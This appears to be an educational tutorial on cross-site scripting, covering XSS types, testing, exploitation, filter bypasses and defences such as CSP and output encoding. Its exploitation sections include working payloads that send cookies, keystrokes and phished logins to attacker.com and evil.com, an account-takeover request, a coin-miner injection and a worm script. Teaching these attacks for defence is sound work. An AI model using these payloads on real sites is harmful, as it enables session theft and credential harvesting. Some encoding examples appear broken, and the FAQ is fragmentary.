Key Takeaways
- XSS allows attackers to execute malicious JavaScript in victims' browsers.
- Three main types: Reflected, Stored, and DOM-based XSS.
- XSS can steal cookies, hijack sessions, and completely compromise user accounts.
- Content Security Policy (CSP) is the most powerful defense mechanism.
- Context-aware output encoding prevents most XSS vulnerabilities.
- HttpOnly cookies protect session tokens from JavaScript theft.
Table of Contents
1. What is Cross-Site Scripting (XSS)?
Cross-Site Scripting (XSS) is a client-side code injection attack where an attacker can execute malicious scripts in a victim's web browser. Unlike SQL injection which targets the server, XSS targets the users of a vulnerable website. When successful, attackers can steal session cookies, redirect users to malicious sites, deface websites, spread worms, and even gain complete control over user sessions.
XSS has been a persistent threat since the late 1990s and remains one of the most common web vulnerabilities. According to HackerOne's bug bounty statistics, XSS consistently ranks among the top reported vulnerability classes, accounting for approximately 18% of all reported issues.
Why "Cross-Site"?
The name "Cross-Site Scripting" refers to the attack's ability to make a script from one site (the attacker's) execute in the context of another site (the victim's). This violates the browser's Same-Origin Policy, which normally prevents scripts from one origin from accessing data from another.
The impact of XSS can range from minor annoyance to complete account takeover:
- Cookie theft: Stealing session tokens to hijack user accounts
- Keylogging: Capturing everything the user types on the page
- Phishing: Injecting fake login forms to steal credentials
- Malware distribution: Forcing downloads of malicious software
- Webcam/microphone access: Through social engineering with fake permission prompts
- Cryptocurrency mining: Using victims' browsers for mining
- Worm propagation: Self-spreading XSS attacks (like the Samy worm)
2. Types of XSS Vulnerabilities
XSS vulnerabilities are categorized based on how the malicious script reaches the victim's browser. Understanding these categories is crucial for both finding and fixing vulnerabilities.
2.1 Reflected XSS (Non-Persistent)
Reflected XSS occurs when user input is immediately returned by the server in an error message, search result, or any other response that includes the input. The malicious script is not stored on the server—it's "reflected" back to the user.
// Vulnerable PHP code
<?php
echo "<h2>Search results for: " . $_GET['query'] . "</h2>";
?>
// Attack URL:
https://example.com/search?query=<script>alert('XSS')</script>
// Rendered HTML:
<h2>Search results for: <script>alert('XSS')</script></h2>
Attack flow:
- Attacker crafts a malicious URL containing script payload
- Attacker sends URL to victim (via email, social media, etc.)
- Victim clicks the link
- Server reflects the payload in the response
- Victim's browser executes the malicious script
2.2 Stored XSS (Persistent)
Stored XSS is the most dangerous type. The malicious script is permanently stored on the target server (in a database, comment field, forum post, etc.). Every user who views the infected page becomes a victim.
// Attacker submits malicious comment:
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
// Comment is stored in database
// Every user viewing comments section executes the script
Common injection points for Stored XSS:
- User profiles (name, bio, avatar URL)
- Comments and forum posts
- Private messages
- Product reviews
- Support tickets
- File names and metadata
Stored XSS Impact
A single Stored XSS on a high-traffic page can compromise thousands of users. The 2005 Samy worm on MySpace infected over 1 million users in just 20 hours using Stored XSS.
2.3 DOM-Based XSS
DOM-based XSS occurs entirely on the client-side. The malicious payload never reaches the server—it's executed when client-side JavaScript unsafely processes user input.
// Vulnerable JavaScript code
var search = document.location.hash.substring(1);
document.getElementById('searchBox').innerHTML = "Searching for: " + search;
// Attack URL:
https://example.com/search#<img src=x onerror="alert('XSS')">
// The payload is in the URL fragment (#) which never goes to the server
// But JavaScript reads it and injects it into the DOM
Common DOM XSS sinks (dangerous functions):
| Sink | Danger | Example |
|---|---|---|
innerHTML | High | element.innerHTML = userInput |
outerHTML | High | element.outerHTML = userInput |
document.write() | High | document.write(userInput) |
eval() | Critical | eval(userInput) |
setTimeout() | High | setTimeout(userInput, 1000) |
location.href | Medium | location.href = userInput |
jQuery.html() | High | $(selector).html(userInput) |
3. Finding XSS Vulnerabilities
3.1 Manual Testing Approach
1Identify Input Points: Find all places where user input enters the application:
- URL parameters (GET)
- Form fields (POST)
- HTTP headers (Referer, User-Agent, Cookie)
- URL fragments (#)
- File uploads (filenames)
2Identify Output Points: Find where your input appears in the response:
- HTML body content
- HTML attribute values
- JavaScript code blocks
- CSS styles
- URL redirections
3Test with Probing Payloads:
// Basic probe - check if input is reflected
test123
// Check for HTML encoding
<test>
// Check for JavaScript context
'-alert(1)-'
\'-alert(1)//
// Check for attribute context
" onmouseover="alert(1)
' onfocus='alert(1)
// Universal polyglot probe
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('XSS')//>\x3e
3.2 Understanding Context
The context where your input appears determines which payload will work:
HTML Body Context
<div>USER_INPUT_HERE</div>
// Payload:
<script>alert('XSS')</script>
<img src=x onerror="alert('XSS')">
HTML Attribute Context
<input value="USER_INPUT_HERE">
// Payload - break out of attribute:
" onfocus="alert('XSS')" autofocus="
" onmouseover="alert('XSS')
// Result:
<input value="" onfocus="alert('XSS')" autofocus="">
JavaScript Context
<script>
var name = 'USER_INPUT_HERE';
</script>
// Payload - break out of string:
';alert('XSS');//
'-alert('XSS')-'
// Result:
var name = '';alert('XSS');//';
URL/href Context
<a href="USER_INPUT_HERE">Click</a>
// Payload - javascript: protocol:
javascript:alert('XSS')
data:text/html,<script>alert('XSS')</script>
4. XSS Exploitation Techniques
4.1 Cookie Stealing
The most common XSS exploitation goal is stealing session cookies:
// Basic cookie theft
<script>
new Image().src = "https://attacker.com/steal?cookie=" + document.cookie;
</script>
// Using fetch API
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: document.cookie
});
</script>
// Exfiltration via img tag (evades some CSP)
<img src="https://attacker.com/steal?c="+document.cookie>
HttpOnly Protection
If cookies have the HttpOnly flag, JavaScript cannot access them via document.cookie. This is why HttpOnly is a critical defense. However, attackers can still perform other actions with XSS even without cookie access.
4.2 Session Hijacking (Without Cookie Theft)
Even with HttpOnly cookies, XSS can hijack sessions by making authenticated requests:
// Change user's email (enables password reset takeover)
<script>
fetch('/account/settings', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: '[email protected]',
credentials: 'include' // Include cookies
});
</script>
// Change password directly
<script>
fetch('/account/password', {
method: 'POST',
body: JSON.stringify({
newPassword: 'hacked123',
confirmPassword: 'hacked123'
}),
headers: {'Content-Type': 'application/json'},
credentials: 'include'
});
</script>
4.3 Keylogging
<script>
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/keylog', {
method: 'POST',
body: JSON.stringify({
key: e.key,
target: e.target.id,
timestamp: Date.now()
})
});
});
</script>
4.4 Phishing with Fake Login
<script>
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999;display:flex;justify-content:center;align-items:center">
<form action="https://attacker.com/phish" method="POST" style="text-align:center">
<h2>Session Expired - Please Login Again</h2>
<input name="username" placeholder="Username" style="margin:10px;padding:10px"><br>
<input name="password" type="password" placeholder="Password" style="margin:10px;padding:10px"><br>
<button type="submit" style="padding:10px 30px">Login</button>
</form>
</div>
`;
</script>
4.5 Cryptocurrency Mining
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('attacker-site-key');
miner.start();
</script>
5. XSS Payload Reference
Basic Payloads
<script>alert('XSS')</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
Event Handler Payloads
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
<body onload="alert('XSS')">
<input onfocus="alert('XSS')" autofocus>
<marquee onstart="alert('XSS')">
<video src=x onerror="alert('XSS')">
<audio src=x onerror="alert('XSS')">
<details open ontoggle="alert('XSS')">
<iframe onload="alert('XSS')">
<object data="javascript:alert('XSS')">
JavaScript Protocol Payloads
<a href="javascript:alert('XSS')">Click me</a>
<iframe src="javascript:alert('XSS')">
<form action="javascript:alert('XSS')"><button>Submit</button></form>
No Parentheses Payloads
<script>alert`XSS`</script>
<script>onerror=alert;throw'XSS'</script>
<img src=x onerror="alert`XSS`">
6. Filter Bypass Techniques
6.1 Case Manipulation
<ScRiPt>alert('XSS')</sCrIpT>
<IMG SRC=x OnErRoR="alert('XSS')">
6.2 HTML Encoding
// Decimal encoding
<img src=x onerror="alert('XSS')">
// Hex encoding
<img src=x onerror="alert('XSS')">
// Mixed encoding
<img src=x onerror="alert('XSS')">
6.3 JavaScript Encoding
// Unicode escapes
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>
// Hex escapes
<script>\x61\x6c\x65\x72\x74('XSS')</script>
// Octal escapes
<script>\141\154\145\162\164('XSS')</script>
6.4 Breaking Up Keywords
// Using eval
<script>eval('al'+'ert("XSS")')</script>
// Using constructor
<script>[].constructor.constructor("alert('XSS')")()</script>
// Using atob (base64)
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>
6.5 WAF Bypass Examples
// No quotes
<img src=x onerror=alert(1)>
// No spaces
<svg/onload=alert(1)>
<img/src=x/onerror=alert(1)>
// Using newlines instead of spaces
<svg
onload
=
alert(1)>
// Using null bytes
<scr%00ipt>alert(1)</scr%00ipt>
// Double URL encoding
%253Cscript%253Ealert(1)%253C/script%253E
7. Advanced XSS Attacks
7.1 XSS Worms
Self-propagating XSS that spreads automatically:
// Simplified worm concept
<script>
// Get worm code
var worm = encodeURIComponent(document.getElementsByTagName('script')[0].innerHTML);
// Spread to current user's profile
fetch('/profile/update', {
method: 'POST',
body: 'bio=' + worm,
credentials: 'include'
});
// Also spread via messages to all friends
fetch('/api/friends').then(r => r.json()).then(friends => {
friends.forEach(friend => {
fetch('/api/message', {
method: 'POST',
body: JSON.stringify({to: friend.id, message: worm}),
credentials: 'include'
});
});
});
</script>
7.2 Dangling Markup Injection
When you can inject HTML but script execution is blocked:
// Inject an img that captures page content in its URL
<img src='https://attacker.com/capture?content=
// The img tag's src attribute "swallows" the rest of the page
// until it finds a matching quote, capturing sensitive data
7.3 Mutation XSS (mXSS)
Exploiting browser's HTML parsing quirks to bypass sanitizers:
// Input that looks safe to sanitizers
<listing><img onerror="alert(1)"//src=x></listing>
// But after browser "mutation", becomes executable
// Browser may change // to close the tag differently
8. Complete Prevention Guide
8.1 Output Encoding (Context-Aware)
Always encode output based on where it appears:
// HTML Context - Encode < > & " '
<div><?= htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') ?></div>
// JavaScript Context - JSON encode or escape
<script>
var data = <?= json_encode($userInput) ?>;
</script>
// URL Context - URL encode
<a href="search?q=<?= urlencode($userInput) ?>">Search</a>
// CSS Context - CSS escape
element.style.color = CSS.escape(userInput);
// HTML Attribute Context - Attribute encode
<input value="<?= htmlspecialchars($userInput, ENT_QUOTES) ?>">
8.2 Content Security Policy (CSP)
CSP is the most powerful XSS mitigation. It tells browsers which sources are allowed to execute scripts:
// Strict CSP (recommended)
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
// In HTML, use nonce for inline scripts:
<script nonce="abc123">
// This script will execute
</script>
<script>
// This script will be BLOCKED - no nonce
</script>
CSP Nonce Strategy
Generate a random nonce for each page load. Include it in valid script tags and the CSP header. Injected scripts won't have the nonce and will be blocked. This is extremely effective against XSS.
8.3 HttpOnly and Secure Cookie Flags
// Set cookies with protective flags
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
// HttpOnly: JavaScript cannot access cookie
// Secure: Only sent over HTTPS
// SameSite=Strict: Not sent with cross-site requests
8.4 Input Validation
// Whitelist validation for structured input
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
die("Invalid username format");
}
// Length limits
if (strlen($comment) > 1000) {
die("Comment too long");
}
// Type validation
$age = filter_input(INPUT_POST, 'age', FILTER_VALIDATE_INT);
if ($age === false) {
die("Invalid age");
}
8.5 Using Security Libraries
// PHP - HTMLPurifier for sanitizing HTML input
require_once 'HTMLPurifier.auto.php';
$purifier = new HTMLPurifier();
$clean_html = $purifier->purify($dirty_html);
// JavaScript - DOMPurify for client-side sanitization
var clean = DOMPurify.sanitize(dirty);
document.getElementById('output').innerHTML = clean;
// Python - bleach for HTML sanitization
import bleach
clean = bleach.clean(dirty_html, tags=['b', 'i', 'u', 'a'], attributes={'a': ['href']})
9. Real-World Case Studies
The Samy Worm (2005)
The fastest-spreading virus of all time. Samy Kamkar created a self-propagating XSS worm on MySpace that added "Samy is my hero" to users' profiles. Within 20 hours, it infected over 1 million users. Samy faced federal charges and was banned from using computers for 3 years.
British Airways Breach (2018)
Magecart attackers used XSS to inject skimming scripts into British Airways' payment pages. 380,000 customer payment cards were stolen. BA was fined £20 million by the ICO.
eBay XSS (2015)
Researchers found stored XSS in eBay listings that could hijack seller accounts. Any user viewing an infected listing could have their session stolen. eBay took months to fully address the issue.
"XSS vulnerabilities continue to be one of the most impactful issues I find during security assessments. They're everywhere, and many developers still don't understand the implications." — Frans Rosén, Security Researcher
10. Frequently Asked Questions
dangerouslySetInnerHTML (React), v-html (Vue), or [innerHTML] (Angular) can introduce XSS. DOM-based XSS is particularly common in SPAs.Conclusion
Cross-Site Scripting remains one of the most prevalent and impactful web security vulnerabilities. Despite decades of awareness, XSS continues to appear in new applications due to the complexity of properly handling user input across different contexts.
The key to preventing XSS is a defense-in-depth approach: context-aware output encoding, strong Content Security Policy, HttpOnly cookies, input validation, and security-focused code reviews. For security testers, understanding the different XSS types and their exploitation requires practice—use the labs and resources mentioned to build your skills legally.
Remember: every input is an attack vector, and every output is a potential vulnerability. By mastering XSS, you're learning one of the most valuable skills in web security.
Continue Learning:
SQL Injection Guide
CSRF Attacks
CSP Implementation